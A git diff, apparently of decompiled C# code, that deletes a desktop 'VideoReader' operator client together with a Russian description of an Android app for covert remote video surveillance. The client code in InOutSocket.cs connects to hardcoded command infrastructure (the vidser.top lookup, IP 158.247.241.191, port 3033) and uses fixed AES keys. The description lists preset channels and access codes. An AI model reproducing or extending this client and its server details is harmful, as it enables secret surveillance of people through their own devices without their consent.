((Control)this).Text = "讀者"; - ((Form)this).Shown += Form1_Shown; - ((Control)tabControl1).ResumeLayout(false); - ((Control)tabPage1).ResumeLayout(false); - ((Control)splitContainer1.Panel1).ResumeLayout(false); - ((Control)splitContainer1.Panel2).ResumeLayout(false); - ((ISupportInitialize)splitContainer1).EndInit(); - ((Control)splitContainer1).ResumeLayout(false); - ((Control)tableLayoutPanel4).ResumeLayout(false); - ((Control)tableLayoutPanel4).PerformLayout(); - ((Control)panel1).ResumeLayout(false); - ((Control)panel10).ResumeLayout(false); - ((Control)panel8).ResumeLayout(false); - ((Control)panel9).ResumeLayout(false); - ((Control)panel2).ResumeLayout(false); - ((Control)panel2).PerformLayout(); - ((ISupportInitialize)asus).EndInit(); - ((ISupportInitialize)huawei).EndInit(); - ((ISupportInitialize)samsung).EndInit(); - ((Control)tableLayoutPanel3).ResumeLayout(false); - ((Control)tableLayoutPanel3).PerformLayout(); - ((Control)tableLayoutPanel1).ResumeLayout(false); - ((Control)tableLayoutPanel1).PerformLayout(); - ((ISupportInitialize)pContrast).EndInit(); - ((ISupportInitialize)pBright).EndInit(); - ((Control)panel3).ResumeLayout(false); - ((Control)panel3).PerformLayout(); - ((Control)panel_chenal).ResumeLayout(false); - ((Control)panel_chenal).PerformLayout(); - ((Control)tableLayoutPanel2).ResumeLayout(false); - ((Control)tableLayoutPanel2).PerformLayout(); - ((Control)panel4).ResumeLayout(false); - ((Control)panel4).PerformLayout(); - ((Control)panel5).ResumeLayout(false); - ((Control)tabPage2).ResumeLayout(false); - ((Control)tabPage3).ResumeLayout(false); - ((Control)tabPage3).PerformLayout(); - ((ISupportInitialize)pictureBox5).EndInit(); - ((Control)this).ResumeLayout(false); - } -} diff --git a/output/VideoReader/InOutSocket.cs b/output/VideoReader/InOutSocket.cs deleted file mode 100644 index 43f8a2e..0000000 --- a/output/VideoReader/InOutSocket.cs +++ /dev/null @@ -1,266 +0,0 @@ -using System; -using System.Collections.Concurrent; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Net; -using System.Net.Sockets; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using VideoReader.Properties; - -namespace VideoReader; - -internal class InOutSocket -{ - public int bitrateout = 0; - - public int bitratein = 0; - - private static byte[] keyByte = MD5("73!2#qweaSdzxc4r"); - - private static byte[] ivByte = MD5("0_=op[l:',./vf73"); - - private Form1 Form; - - private bool open; - - private byte Chenal = Settings.Default.Chenal; - - private ConcurrentQueue outbuffer = new ConcurrentQueue(); - - private BinaryWriter bw; - - private ConcurrentQueue output = new ConcurrentQueue(); - - private bool noblock = true; - - public bool opened - { - get - { - return open; - } - set - { - open = value; - } - } - - private static byte[] MD5(string str) - { - return new MD5CryptoServiceProvider().ComputeHash(Encoding.UTF8.GetBytes(str)); - } - - private static byte[] crypt(ICryptoTransform cryptoTransform, byte[] data) - { - using MemoryStream memoryStream = new MemoryStream(); - using CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Write); - cryptoStream.Write(data, 0, data.Length); - cryptoStream.FlushFinalBlock(); - return memoryStream.ToArray(); - } - - private static byte[] encrypt(byte[] buf) - { - byte[] result = new byte[0]; - using (Aes aes = Aes.Create()) - { - aes.Key = keyByte; - aes.IV = ivByte; - using ICryptoTransform cryptoTransform = aes.CreateEncryptor(aes.Key, aes.IV); - result = crypt(cryptoTransform, buf); - } - return result; - } - - private static byte[] decrypt(byte[] buf) - { - byte[] result = new byte[0]; - using (Aes aes = Aes.Create()) - { - aes.Key = keyByte; - aes.IV = ivByte; - using ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV); - result = crypt(cryptoTransform, buf); - } - return result; - } - - public InOutSocket(Form1 form) - { - Form = form; - open = true; - Thread thread = new Thread((ThreadStart)delegate - { - Events(); - }); - thread.IsBackground = true; - thread.Start(); - } - - ~InOutSocket() - { - open = false; - } - - private int sockWrite(BinaryWriter ns, byte[] buf, int pref) - { - int num = 0; - buf = encrypt(buf); - if (buf.Length != 0) - { - byte[] array = BitConverter.GetBytes(buf.Length + 1); - for (int num2 = array.Length; num2 > 0; num2--) - { - if (array[num2 - 1] > 0) - { - if (num2 < 4) - { - Array.Resize(ref array, num2); - } - break; - } - } - ns.Write((byte)array.Length); - num++; - ns.Write(array); - num += array.Length; - ns.Write(buf); - num += buf.Length; - ns.Write((byte)pref); - num++; - ns.Flush(); - } - return num; - } - - public string IpGet() - { - string result = "158.247.241.191"; - try - { - Stream responseStream = WebRequest.Create($"http://vidser.top/ip/get-ip-kr.php?port={Chenal}").GetResponse().GetResponseStream(); - int[] array = new int[4]; - for (int i = 0; i < 4; i++) - { - array[i] = responseStream.ReadByte(); - } - result = $"{array[0]}.{array[1]}.{array[2]}.{array[3]}"; - } - catch (Exception ex) - { - Console.WriteLine(ex.StackTrace); - } - return result; - } - - private void Events() - { - Stopwatch stopwatch = new Stopwatch(); - DateTime now = DateTime.Now; - TcpClient tcpClient = new TcpClient(); - stopwatch.Start(); - Stopwatch stopwatch2 = new Stopwatch(); - stopwatch2.Start(); - byte b = 0; - BinaryReader binaryReader = null; - DateTime now2 = DateTime.Now; - int num = 0; - int num2 = 0; - while (open) - { - try - { - if ((DateTime.Now - now).TotalSeconds > 10.0 || !tcpClient.Connected) - { - tcpClient = new TcpClient(IpGet(), 3033); - tcpClient.GetStream().WriteByte(0); - tcpClient.GetStream().WriteByte(Chenal); - tcpClient.GetStream().Flush(); - binaryReader = new BinaryReader(tcpClient.GetStream()); - bw = new BinaryWriter(tcpClient.GetStream()); - output = new ConcurrentQueue(); - stopwatch.Restart(); - now = DateTime.Now; - stopwatch2.Restart(); - Thread.Sleep(1); - } - if (stopwatch.ElapsedMilliseconds > 500) - { - num2 += sockWrite(bw, BitConverter.GetBytes(DateTime.Now.Ticks), 0); - stopwatch.Restart(); - } - if (tcpClient.Available > 0) - { - int num3 = binaryReader.Read(); - num++; - if (num3 < 4) - { - byte[] array = binaryReader.ReadBytes(num3); - num += num3; - Array.Resize(ref array, 4); - int num4 = BitConverter.ToInt32(array, 0); - if (num4 > 0) - { - byte[] array2 = binaryReader.ReadBytes(num4); - num += num4; - int num5 = array2[^1]; - array2 = decrypt(array2.Take(array2.Length - 1).ToArray()); - if (num5 == 0 && array2.Length == 8) - { - Form.Read((double)(DateTime.Now.Ticks - BitConverter.ToInt64(array2, 0)) / 10000.0); - } - else - { - Form.Read(array2); - } - } - } - now = DateTime.Now; - } - else - { - Thread.Sleep(1); - } - b = (byte)((b++ < 2) ? 2 : b); - byte[] result; - while (outbuffer.TryDequeue(out result)) - { - num2 += sockWrite(bw, result, b); - } - if ((DateTime.Now - now2).TotalSeconds > 1.0) - { - double totalSeconds = (DateTime.Now - now2).TotalSeconds; - bitratein = (int)Math.Round((double)num / totalSeconds); - bitrateout = (int)Math.Round((double)num2 / totalSeconds); - now2 = DateTime.Now; - num = 0; - num2 = 0; - } - } - catch (Exception ex) - { - Console.WriteLine(ex.StackTrace); - } - } - tcpClient.Close(); - stopwatch.Stop(); - } - - public void write(byte[] buf, byte chenal) - { - outbuffer.Enqueue(buf); - } - - public string[] GetStr(int i) - { - return new string[0]; - } - - public int GetThCount() - { - return 1; - } -} diff --git a/output/VideoReader/InteropHelper.cs b/output/VideoReader/InteropHelper.cs deleted file mode 100644 index 56d70d7..0000000 --- a/output/VideoReader/InteropHelper.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace VideoReader; - -public class InteropHelper -{ - public const string LD_LIBRARY_PATH = "LD_LIBRARY_PATH"; - - public static void RegisterLibrariesSearchPath(string path) - { - switch (Environment.OSVersion.Platform) - { - case PlatformID.Win32S: - case PlatformID.Win32Windows: - case PlatformID.Win32NT: - SetDllDirectory(path); - break; - case PlatformID.Unix: - case PlatformID.MacOSX: - { - string environmentVariable = Environment.GetEnvironmentVariable("LD_LIBRARY_PATH"); - if (!string.IsNullOrWhiteSpace(environmentVariable) && !environmentVariable.Contains(path)) - { - char pathSeparator = Path.PathSeparator; - string value = environmentVariable + pathSeparator + path; - Environment.SetEnvironmentVariable("LD_LIBRARY_PATH", value); - } - break; - } - case PlatformID.WinCE: - case PlatformID.Xbox: - break; - } - } - - [DllImport("kernel32", SetLastError = true)] - private static extern bool SetDllDirectory(string lpPathName); -} diff --git a/output/VideoReader/Program.cs b/output/VideoReader/Program.cs deleted file mode 100644 index 0b85edd..0000000 --- a/output/VideoReader/Program.cs +++ /dev/null @@ -1,90 +0,0 @@ -using System; -using System.Configuration; -using System.IO; -using System.Reflection; -using System.Text; -using System.Threading; -using System.Windows.Forms; -using VideoReader.Properties; - -namespace VideoReader; - -internal static class Program -{ - public static int FrameRate = 30; - - public static string log_file = ""; - - public static string[] Arg; - - [STAThread] - private static void Main(string[] arg) - { - Arg = arg; - Settings.Default.Chenal = 56; - ((SettingsBase)Settings.Default).Save(); - bool createdNew; - Mutex mutex = new Mutex(initiallyOwned: false, $"Start_current_video_Reader_{Settings.Default.Chenal}", out createdNew); - if (createdNew) - { - switch (Environment.OSVersion.Platform) - { - case PlatformID.Win32S: - case PlatformID.Win32Windows: - case PlatformID.Win32NT: - { - string directoryName = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location); - string path = string.Format("{0}/FFmpeg/bin/{1}", directoryName, Environment.Is64BitProcess ? "x64" : "x86"); - InteropHelper.RegisterLibrariesSearchPath(path); - break; - } - case PlatformID.Unix: - case PlatformID.MacOSX: - { - string environmentVariable = Environment.GetEnvironmentVariable("LD_LIBRARY_PATH"); - InteropHelper.RegisterLibrariesSearchPath(environmentVariable); - break; - } - } - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.ThreadException += Application_ThreadException; - Application.Run((Form)(object)new Form1()); - } - } - - private static void Application_ThreadException(object sender, ThreadExceptionEventArgs e) - { - Console.WriteLine(e.Exception.Message); - Console.WriteLine(e.Exception.StackTrace); - using StreamWriter streamWriter = new StreamWriter($"{Directory.GetCurrentDirectory()}\\{DateTime.Now:yyMMdd}_fatal.err", append: true, Encoding.Default); - streamWriter.Write($"{DateTime.Now:HH:mm:ss:fff} : "); - streamWriter.Write(e); - streamWriter.WriteLine(); - streamWriter.Close(); - } - - public static void ErrWrite(Exception e) - { - string text = e.ToString(); - string path = $"{log_file}.err"; - File.AppendAllText(path, $"{DateTime.Now:HH:mm:ss.fffffff}:{text}/n"); - Console.WriteLine(text); - } - - public static void ErrPrim(string pref, string suff) - { - string path = $"{log_file}.err"; - StreamWriter streamWriter = new StreamWriter(path, append: true); - streamWriter.WriteLine($"{DateTime.Now:HH:mm:ss.fffffff}: +++ {pref}:{suff}"); - streamWriter.Close(); - } - - public static void LogWrite(string prim, string str) - { - string path = $"{log_file}.log"; - StreamWriter streamWriter = new StreamWriter(path, append: true); - streamWriter.WriteLine($"{DateTime.Now:HH:mm:ss.fffffff}:{prim}:{str}"); - streamWriter.Close(); - } -} diff --git a/output/VideoReader/Properties/Resources.cs b/output/VideoReader/Properties/Resources.cs deleted file mode 100644 index 8713663..0000000 --- a/output/VideoReader/Properties/Resources.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Diagnostics.CodeAnalysis; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace VideoReader.Properties; - -[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] -[CompilerGenerated] -[DebuggerNonUserCode] -internal class Resources -{ - private static ResourceManager resourceMan; - - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (resourceMan == null) - { - ResourceManager resourceManager = new ResourceManager("VideoReader.Properties.Resources", typeof(Resources).Assembly); - resourceMan = resourceManager; - } - return resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get - { - return resourceCulture; - } - set - { - resourceCulture = value; - } - } - - [SuppressMessage("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] - internal Resources() - { - } -} diff --git a/output/VideoReader/Properties/Settings.cs b/output/VideoReader/Properties/Settings.cs deleted file mode 100644 index 8d54bd0..0000000 --- a/output/VideoReader/Properties/Settings.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System.CodeDom.Compiler; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace VideoReader.Properties; - -[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.10.0.0")] -[CompilerGenerated] -public sealed class Settings : ApplicationSettingsBase -{ - private static Settings defaultInstance = (Settings)(object)SettingsBase.Synchronized((SettingsBase)(object)new Settings()); - - public static Settings Default => defaultInstance; - - [UserScopedSetting] - [DebuggerNonUserCode] - [DefaultSettingValue("5M")] - public string BitRate - { - get - { - return (string)((SettingsBase)this)["BitRate"]; - } - set - { - ((SettingsBase)this)["BitRate"] = value; - } - } - - [DebuggerNonUserCode] - [UserScopedSetting] - [DefaultSettingValue("71")] - public byte Chenal - { - get - { - return (byte)((SettingsBase)this)["Chenal"]; - } - set - { - ((SettingsBase)this)["Chenal"] = value; - } - } - - [UserScopedSetting] - [DebuggerNonUserCode] - [DefaultSettingValue("1")] - public int Specification - { - get - { - return (int)((SettingsBase)this)["Specification"]; - } - set - { - ((SettingsBase)this)["Specification"] = value; - } - } - - [DebuggerNonUserCode] - [UserScopedSetting] - [DefaultSettingValue("False")] - public bool SaveVideo - { - get - { - return (bool)((SettingsBase)this)["SaveVideo"]; - } - set - { - ((SettingsBase)this)["SaveVideo"] = value; - } - } -} diff --git a/output/VideoReader/SaveVideo.cs b/output/VideoReader/SaveVideo.cs deleted file mode 100644 index b867194..0000000 --- a/output/VideoReader/SaveVideo.cs +++ /dev/null @@ -1,27 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using FFmpeg.AutoGen; - -namespace VideoReader; - -internal class SaveVideo -{ - private unsafe AVFormatContext* pFormatContext; - - private unsafe AVStream* st; - - private unsafe void Write_Frame(byte[] buff, long number) - { - AVPacket aVPacket = default(AVPacket); - AVPacket* ptr = &aVPacket; - ffmpeg.av_init_packet(ptr); - IntPtr intPtr = Marshal.AllocHGlobal(buff.Length); - Marshal.Copy(buff, 0, intPtr, buff.Length); - ptr->data = (sbyte*)intPtr.ToPointer(); - ptr->size = buff.Length; - ptr->pts = ffmpeg.av_rescale_q(number, st->codec->time_base, st->time_base); - int num = ffmpeg.av_interleaved_write_frame(pFormatContext, ptr); - Marshal.FreeHGlobal(intPtr); - ffmpeg.av_free_packet(ptr); - } -} diff --git a/output/VideoReader/SelectionRangeSlider.cs b/output/VideoReader/SelectionRangeSlider.cs deleted file mode 100644 index 353b74e..0000000 --- a/output/VideoReader/SelectionRangeSlider.cs +++ /dev/null @@ -1,203 +0,0 @@ -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -namespace VideoReader; - -[Description("Very basic slider control with selection range.")] -public class SelectionRangeSlider : UserControl -{ - private enum MovingMode - { - MovingValue, - MovingMin, - MovingMax - } - - private int min = 0; - - private int max = 100; - - private int selectedMin = 0; - - private int selectedMax = 100; - - private int value = 50; - - private MovingMode movingMode; - - private IContainer components = null; - - [Description("Minimum value of the slider.")] - public int Min - { - get - { - return min; - } - set - { - min = value; - ((Control)this).Invalidate(); - } - } - - [Description("Maximum value of the slider.")] - public int Max - { - get - { - return max; - } - set - { - max = value; - ((Control)this).Invalidate(); - } - } - - [Description("Minimum value of the selection range.")] - public int SelectedMin - { - get - { - return selectedMin; - } - set - { - selectedMin = value; - if (this.SelectionChanged != null) - { - this.SelectionChanged(this, null); - } - ((Control)this).Invalidate(); - } - } - - [Description("Maximum value of the selection range.")] - public int SelectedMax - { - get - { - return selectedMax; - } - set - { - selectedMax = value; - if (this.SelectionChanged != null) - { - this.SelectionChanged(this, null); - } - ((Control)this).Invalidate(); - } - } - - [Description("Current value.")] - public int Value - { - get - { - return value; - } - set - { - this.value = value; - if (this.ValueChanged != null) - { - this.ValueChanged(this, null); - } - ((Control)this).Invalidate(); - } - } - - [Description("Fired when SelectedMin or SelectedMax changes.")] - public event EventHandler SelectionChanged; - - [Description("Fired when Value changes.")] - public event EventHandler ValueChanged; - - public SelectionRangeSlider() - { - //IL_005e: Unknown result type (might be due to invalid IL or missing references) - //IL_0068: Expected O, but got Unknown - //IL_0071: Unknown result type (might be due to invalid IL or missing references) - //IL_007b: Expected O, but got Unknown - //IL_0084: Unknown result type (might be due to invalid IL or missing references) - //IL_008e: Expected O, but got Unknown - InitializeComponent(); - ((Control)this).SetStyle((ControlStyles)8192, true); - ((Control)this).SetStyle((ControlStyles)131072, true); - ((Control)this).Paint += new PaintEventHandler(SelectionRangeSlider_Paint); - ((Control)this).MouseDown += new MouseEventHandler(SelectionRangeSlider_MouseDown); - ((Control)this).MouseMove += new MouseEventHandler(SelectionRangeSlider_MouseMove); - } - - private void SelectionRangeSlider_Paint(object sender, PaintEventArgs e) - { - e.Graphics.FillRectangle(Brushes.White, ((Control)this).ClientRectangle); - Rectangle rectangle = new Rectangle((selectedMin - Min) * ((Control)this).Width / (Max - Min), 0, (selectedMax - selectedMin) * ((Control)this).Width / (Max - Min), ((Control)this).Height); - e.Graphics.FillRectangle(Brushes.Blue, rectangle); - e.Graphics.DrawRectangle(Pens.Black, 0, 0, ((Control)this).Width - 1, ((Control)this).Height - 1); - e.Graphics.DrawLine(Pens.Black, (Value - Min) * ((Control)this).Width / (Max - Min), 0, (Value - Min) * ((Control)this).Width / (Max - Min), ((Control)this).Height); - } - - private void SelectionRangeSlider_MouseDown(object sender, MouseEventArgs e) - { - int num = Min + e.X * (Max - Min) / ((Control)this).Width; - int num2 = Math.Abs(num - Value); - int num3 = Math.Abs(num - SelectedMin); - int val = Math.Abs(num - SelectedMax); - int num4 = Math.Min(num2, Math.Min(num3, val)); - if (num4 == num2) - { - movingMode = MovingMode.MovingValue; - } - else if (num4 == num3) - { - movingMode = MovingMode.MovingMin; - } - else - { - movingMode = MovingMode.MovingMax; - } - SelectionRangeSlider_MouseMove(sender, e); - } - - private void SelectionRangeSlider_MouseMove(object sender, MouseEventArgs e) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_000c: Invalid comparison between Unknown and I4 - if ((int)e.Button == 1048576) - { - int num = Min + e.X * (Max - Min) / ((Control)this).Width; - if (movingMode == MovingMode.MovingValue) - { - Value = num; - } - else if (movingMode == MovingMode.MovingMin) - { - SelectedMin = num; - } - else if (movingMode == MovingMode.MovingMax) - { - SelectedMax = num; - } - } - } - - protected override void Dispose(bool disposing) - { - if (disposing && components != null) - { - components.Dispose(); - } - ((ContainerControl)this).Dispose(disposing); - } - - private void InitializeComponent() - { - components = new Container(); - ((ContainerControl)this).AutoScaleMode = (AutoScaleMode)1; - } -} diff --git a/output/VideoReader/UCPictureBox.cs b/output/VideoReader/UCPictureBox.cs deleted file mode 100644 index df7099b..0000000 --- a/output/VideoReader/UCPictureBox.cs +++ /dev/null @@ -1,324 +0,0 @@ -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -namespace VideoReader; - -public class UCPictureBox : UserControl -{ - private Size size = new Size(1280, 720); - - private Image image; - - private float scale = 1f; - - private Point PointImage = new Point(0, 0); - - public RotateFlipType RotateFlip; - - private int rotate = 0; - - private int flip = 0; - - private Point mousestart; - - private bool Mousestart; - - private IContainer components = null; - - public int Rotate - { - get - { - return rotate; - } - set - { - rotate = value; - RoutFlip(); - } - } - - public int Flip - { - get - { - return flip; - } - set - { - flip = value; - RoutFlip(); - } - } - - public Image Image - { - get - { - return image; - } - set - { - image = value; - } - } - - public Size SizeImage - { - get - { - return size; - } - set - { - size = value; - } - } - - public UCPictureBox() - { - InitializeComponent(); - ((Control)this).DoubleBuffered = true; - } - - private void RoutFlip() - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_001c: Unknown result type (might be due to invalid IL or missing references) - //IL_020f: Unknown result type (might be due to invalid IL or missing references) - //IL_0210: Unknown result type (might be due to invalid IL or missing references) - //IL_003b: Unknown result type (might be due to invalid IL or missing references) - //IL_005a: Unknown result type (might be due to invalid IL or missing references) - //IL_007d: Unknown result type (might be due to invalid IL or missing references) - //IL_00a0: Unknown result type (might be due to invalid IL or missing references) - //IL_00c3: Unknown result type (might be due to invalid IL or missing references) - //IL_00e6: Unknown result type (might be due to invalid IL or missing references) - //IL_010c: Unknown result type (might be due to invalid IL or missing references) - //IL_0132: Unknown result type (might be due to invalid IL or missing references) - //IL_0158: Unknown result type (might be due to invalid IL or missing references) - //IL_017e: Unknown result type (might be due to invalid IL or missing references) - //IL_01a4: Unknown result type (might be due to invalid IL or missing references) - //IL_01c7: Unknown result type (might be due to invalid IL or missing references) - //IL_01ea: Unknown result type (might be due to invalid IL or missing references) - //IL_020d: Unknown result type (might be due to invalid IL or missing references) - RotateFlipType rotateFlip = (RotateFlipType)0; - if (rotate == 0 && flip == 1) - { - rotateFlip = (RotateFlipType)4; - } - else if (rotate == 0 && flip == 2) - { - rotateFlip = (RotateFlipType)6; - } - else if (rotate == 0 && flip == 3) - { - rotateFlip = (RotateFlipType)2; - } - else if (rotate == 90 && flip == 0) - { - rotateFlip = (RotateFlipType)1; - } - else if (rotate == 90 && flip == 1) - { - rotateFlip = (RotateFlipType)5; - } - else if (rotate == 90 && flip == 2) - { - rotateFlip = (RotateFlipType)7; - } - else if (rotate == 90 && flip == 3) - { - rotateFlip = (RotateFlipType)3; - } - else if (rotate == 180 && flip == 0) - { - rotateFlip = (RotateFlipType)2; - } - else if (rotate == 180 && flip == 1) - { - rotateFlip = (RotateFlipType)6; - } - else if (rotate == 180 && flip == 2) - { - rotateFlip = (RotateFlipType)4; - } - else if (rotate == 180 && flip == 3) - { - rotateFlip = (RotateFlipType)0; - } - else if (rotate == 270 && flip == 0) - { - rotateFlip = (RotateFlipType)3; - } - else if (rotate == 270 && flip == 1) - { - rotateFlip = (RotateFlipType)7; - } - else if (rotate == 270 && flip == 2) - { - rotateFlip = (RotateFlipType)5; - } - else if (rotate == 270 && flip == 3) - { - rotateFlip = (RotateFlipType)1; - } - RotateFlip = rotateFlip; - ((Control)this).Refresh(); - } - - public Point rePoint(Point point) - { - Point result = default(Point); - int num = 0; - int num2 = 0; - if (Rotate == 0) - { - result.X = (int)((float)point.X * scale) + PointImage.X; - result.Y = (int)((float)point.Y * scale) + PointImage.Y; - } - else if (Rotate == 90) - { - result.X = (int)((float)point.Y * scale) + PointImage.Y; - result.Y = size.Height - ((int)((float)point.X * scale) + PointImage.X); - } - else if (Rotate == 180) - { - result.X = size.Width - ((int)((float)point.X * scale) + PointImage.X); - result.Y = size.Height - ((int)((float)point.Y * scale) + PointImage.Y); - } - else if (Rotate == 270) - { - result.X = size.Width - ((int)((float)point.Y * scale) + PointImage.Y); - result.Y = (int)((float)point.X * scale) + PointImage.X; - } - if (Flip == 1 || Flip == 3) - { - result.X = size.Width - result.X; - } - if (Flip == 2 || Flip == 3) - { - result.Y = size.Height - result.Y; - } - return result; - } - - public void Zoom(bool zoom) - { - if (zoom) - { - scale += scale / 25f; - } - else - { - scale -= scale / 25f; - } - if (scale > 3f) - { - scale = 3f; - } - if ((double)scale < 0.1) - { - scale = 0.1f; - } - ((Control)this).Refresh(); - } - - protected override void OnPaintBackground(PaintEventArgs e) - { - //IL_005b: Unknown result type (might be due to invalid IL or missing references) - //IL_0061: Expected O, but got Unknown - //IL_0063: Unknown result type (might be due to invalid IL or missing references) - //IL_0081: Unknown result type (might be due to invalid IL or missing references) - //IL_0089: Unknown result type (might be due to invalid IL or missing references) - //IL_008f: Invalid comparison between Unknown and I4 - Rectangle rectangle = new Rectangle(PointImage.X, PointImage.Y, Convert.ToInt32((float)((Control)this).Width * scale), Convert.ToInt32((float)((Control)this).Height * scale)); - if (image != null) - { - Bitmap val = new Bitmap(image); - ((Image)val).RotateFlip(RotateFlip); - e.Graphics.Clear(((Control)this).BackColor); - if ((int)RotateFlip == 0 || (int)RotateFlip == 2) - { - e.Graphics.DrawImage((Image)(object)val, new Rectangle(0, 0, ((Control)this).Width, ((Control)this).Height), rectangle.X, rectangle.Y, rectangle.Width, rectangle.Height, (GraphicsUnit)2); - } - else - { - e.Graphics.DrawImage((Image)(object)val, new Rectangle(0, 0, ((Control)this).Width, ((Control)this).Height), rectangle.X, rectangle.Y, rectangle.Width, rectangle.Height, (GraphicsUnit)2); - } - } - else - { - ((ScrollableControl)this).OnPaintBackground(e); - } - } - - protected override void OnMouseWheel(MouseEventArgs e) - { - if (e.Delta < 0) - { - Zoom(zoom: true); - } - else - { - Zoom(zoom: false); - } - } - - protected override void OnMouseDown(MouseEventArgs e) - { - ((UserControl)this).OnMouseDown(e); - Mousestart = true; - mousestart = e.Location; - } - - protected override void OnMouseUp(MouseEventArgs e) - { - ((Control)this).OnMouseUp(e); - Mousestart = false; - } - - protected override void OnMouseMove(MouseEventArgs e) - { - ((Control)this).OnMouseMove(e); - if (Mousestart) - { - PointImage.X += mousestart.X - e.X; - PointImage.Y += mousestart.Y - e.Y; - mousestart = e.Location; - if (PointImage.X < 0) - { - PointImage.X = 0; - } - if (PointImage.Y < 0) - { - PointImage.Y = 0; - } - ((Control)this).Refresh(); - } - } - - protected override void OnMouseLeave(EventArgs e) - { - ((Control)this).OnMouseLeave(e); - Mousestart = false; - } - - protected override void Dispose(bool disposing) - { - if (disposing && components != null) - { - components.Dispose(); - } - ((ContainerControl)this).Dispose(disposing); - } - - private void InitializeComponent() - { - ((Control)this).SuspendLayout(); - ((ContainerControl)this).AutoScaleMode = (AutoScaleMode)0; - ((Control)this).Name = "UCPictureBox"; - ((Control)this).ResumeLayout(false); - } -} diff --git a/output/VideoReader/libfaad.cs b/output/VideoReader/libfaad.cs deleted file mode 100644 index ec3e561..0000000 --- a/output/VideoReader/libfaad.cs +++ /dev/null @@ -1,81 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace VideoReader; - -public class libfaad -{ - public struct NeAACDecConfiguration - { - public char defObjectType; - - public int defSampleRate; - - public char outputFormat; - - public char downMatrix; - - public char useOldADTSFormat; - } - - public struct NeAACDecFrameInfo - { - public int bytesconsumed; - - public int samples; - - public char channels; - - public char error; - - public int samplerate; - - public char sbr; - - public char object_type; - - public char header_type; - - public char num_front_channels; - - public char num_side_channels; - - public char num_back_channels; - - public char num_lfe_channels; - - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)] - public char[] channel_position; - - public char ps; - } - - private const string libPath = "libfaad2.dll"; - - [DllImport("libfaad2.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern IntPtr NeAACDecOpen(); - - [DllImport("libfaad2.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern IntPtr NeAACDecGetCurrentConfiguration(IntPtr hpDecoder); - - [DllImport("libfaad2.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern char NeAACDecSetConfiguration(IntPtr hpDecoder, IntPtr config); - - [DllImport("libfaad2.dll", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int NeAACDecInit(IntPtr hpDecoder, byte[] buffer, int buffer_size, ulong* samplerate, char* channels); - - [DllImport("libfaad2.dll", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern char NeAACDecInit2(IntPtr hpDecoder, byte[] buffer, int SizeOfDecoderSpecificInfo, ulong* samplerate, char* channels); - - [DllImport("libfaad2.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern IntPtr NeAACDecDecode(IntPtr hpDecoder, out NeAACDecFrameInfo hInfo, byte[] buffer, int buffer_size); - - [DllImport("libfaad2.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern void NeAACDecClose(IntPtr hpDecoder); - - [DllImport("libfaad2.dll", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern char* NeAACDecGetErrorMessage(char errcode); - - [DllImport("libfaad2.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern char NeAACDecAudioSpecificConfig(IntPtr pBuffer, int buffer_size, IntPtr mp4ASC); -} diff --git a/output/app.ico b/output/app.ico deleted file mode 100644 index 0326bb1..0000000 Binary files a/output/app.ico and /dev/null differ diff --git a/ОПисание.txt b/ОПисание.txt deleted file mode 100644 index eadaf34..0000000 --- a/ОПисание.txt +++ /dev/null @@ -1,224 +0,0 @@ -ПОЛНОЕ ТЕХНИЧЕСКОЕ ОПИСАНИЕ ПРИЛОЖЕНИЯ NVAV.SRV.RECORDER -================================================================ - -ОБЩЕЕ ОПИСАНИЕ: -Это Android-приложение для скрытого удаленного видеонаблюдения, которое превращает мобильное устройство в управляемую камеру с возможностью полного контроля со стороны оператора через десктопное приложение. - -1. АРХИТЕКТУРА СИСТЕМЫ -====================== - -Приложение построено по архитектуре "клиент-сервер": -- Мобильное устройство = камера/клиент -- Десктопное приложение оператора = сервер управления -- Связь через TCP-соединение с кодированием команд - -Основные компоненты: -- MActivity.java - главная активность и пользовательский интерфейс -- Speek.java - фоновый сервис для непрерывной работы -- Comand.java - обработчик команд и протокол связи -- CameraRecord.java - универсальный модуль записи камеры -- CameraASUSn.java - специализированный модуль для устройств ASUS -- CameraHUAWEIn.java - специализированный модуль для устройств HUAWEI - -2. СИСТЕМА КАНАЛОВ И АУТЕНТИФИКАЦИИ -=================================== - -Предустановленные каналы связи: -Номера каналов: {0, 55, 54, 53, 51, 49, 48, 52, 50, 47, 46, 45} -Коды доступа: {"0000", "1111", "533D", "9A32", "DC8F", "1095", "4167", "2E43", "701B", "2BA9", "2BB4", "1F0E"} - -Цветовые индикаторы каналов: -{"#000000", "#B22222", "#00FF7F", 